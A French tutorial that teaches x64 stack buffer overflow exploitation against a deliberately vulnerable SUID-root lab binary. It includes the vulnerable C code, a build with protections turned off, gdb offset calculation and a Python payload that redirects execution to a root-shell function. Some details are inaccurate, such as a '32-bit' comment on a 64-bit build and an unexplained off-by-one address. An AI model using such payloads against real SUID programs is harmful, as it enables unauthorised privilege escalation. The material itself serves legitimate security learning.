Buffer overflow x64

Dans ce nouvel article qui fait directement suite à l'article "Buffer Overflow x86 (Introduction aux buffer overflow)" nous allons voir comment détecter et exploiter un buffer overflow sur une CPU 64 bits. Si la méthodologie reste la même il y a quand même quelques changements qu'il faut prendre en compte.

Pour les besoins de cet article nous exploiterons le binaire suivant:

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
   
void get_me_a_root_shell(){
    printf("GG WP opening the root shell !\n");
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}
   
void hello_there(){
    char buffer[64];
    fgets(buffer, 200, stdin);
    printf("Hello %s", buffer);
}
   
int main(int argc, char *argv[]){
    hello_there();
}

Ce binaire nous le compilerons via cette commande:

# Désactive les options de sécurité et compile en 32 bits
gcc -o basic basic_x86_linux.c -fno-stack-protector -no-pie -Wl,-z,relro,-z,now,-z,noexecstack

Puis nous lui attribuerons le bit SUID ainsi que les droits d'exécution pour tous les utilisateurs:

# Change l'owner du binaire
sudo chown root: basic
# Ajoute le SUID à root et autorise l'exécution aux autres utilisateurs
sudo chmod u+s basic && sudo chmod a+x basic

De cette manière une exploitation réussie du binaire nous permettra d'obtenir un shell root.

Si vous avez suivi le précédent article alors vous serez peut être tenté de simplement entrer ce payload:

(python -c 'import struct; print "A" * 76 + struct.pack("<L", 0x08048546)'; cat) | ./basic

Seulement ça ne fonctionnera pas:

Bah oui, notre binaire tourne sur une architecture différente donc le payload devra lui aussi être différent. Il existe de nombreuses différences entre les architectures x86 et x64. La première grosse différence, et probablement la plus importante,  c'est la taille des adresses mémoires. En 32 bits, les adresses mémoires sont codées sur 4 octets ( exemple 0xdeadbeef). En 64 bits elles sont codées sur 8 octets (exemple: 0x00000000deadbeef).

Seulement voilà, sur les 64 bits disponibles, seuls les 47 premiers sont utilisables et ça ça va tout changer quant à la manière dont nous allons détecter un buffer overflow. Sur le précédent article je m'étais servi d'une chaîne pattern afin de détecter l'offset nous permettant d'écraser EIP. Même si c'est outil est très pratique il s'avère ne pas être nécessaire. Eh oui, tout ce que nous avons fait via la chaîne de caractères nous pouvons le faire en effectuant un calcul simple!

Pour cela nous allons devoir récupérer deux adresses mémoires:

  • L'adresse mémoire du début du buffer dans lequel nous allons écrire notre payload
  • L'adresse mémoire contenue dans le registre RSP lorsque l'instruction leave de la fonction hello_there sera exécutée

La première adresse pourra être trouvée en breakant juste après l'appel à la fonction fgets:

b *hello_there + 32

Ici nous voyons clairement que l'adresse de début du buffer est l'adresse 0x7FFF56b89530. La seconde adresse (celle de RSP) nous la récupérerons en posant un nouveau break sur l'adresse correspondant à l'instruction ret:

b *hello_there + 58

Sur le screen ci-dessus nous pouvons voir que le registre RSP contient l'adresse mémoire 0x7fff56b89578. En soustrayant l'adresse mémoire contenue dans RSP avec celle du début du buffer nous trouvons:

0x7fff56b89578 - 0x7fff56b89530 = 0x48

Ce qui en décimal nous donne 72. L'offset nous permettant d'écraser RIP est donc de 72 octets. Alors pourquoi prend-on ces deux adresses mémoires. La première est évidente puisque c'est à partir d'elle que nous allons commencer à écrire sur la stack. La seconde en revanche peut l'être un peu moins mais globalement si nous récupérons cette adresse là c'est parce que au moment où sera exécuté l'instruction leave, eh bien  la sauvegarde d'EBP sera supprimée de la stack et RSP pointera sur l'adresse mémoire contenant la sauvegarde d'EIP. En calculant la différence entre ces deux adresse nous obtiendrons le bon offset:

Du coup il ne nous reste plus qu'à retrouver l'adresse de la fonction get_me_a_root_shell:

info func get_me_a_root_shell

Puis nous pourrons crafter notre payload:

(python -c 'import struct; print "A" * 72 + struct.pack("<q", 0x0000000000400697)';cat -) | ./basic

Le format utilisé pour packer l'adresse hexadécimal est "<q" qui permet de packer un entier de 8 octets au format little endian.

Mais...

Pour une raison inconnue encore, le shell root s'ouvre bien en revanche le binaire crash quand on jump directement sur l'adresse 0x0000000000400697. Sur un coup de tête je me suis demandé qu'est ce qu'il se passerait si à la place on utilisait l'adresse 0x0000000000400698 et...

Ca marche! Pour le moment je n'ai toujours pas trouvé la réponse à ce problème mais je vous promets que je posterai la solution une fois que je l'aurais :) !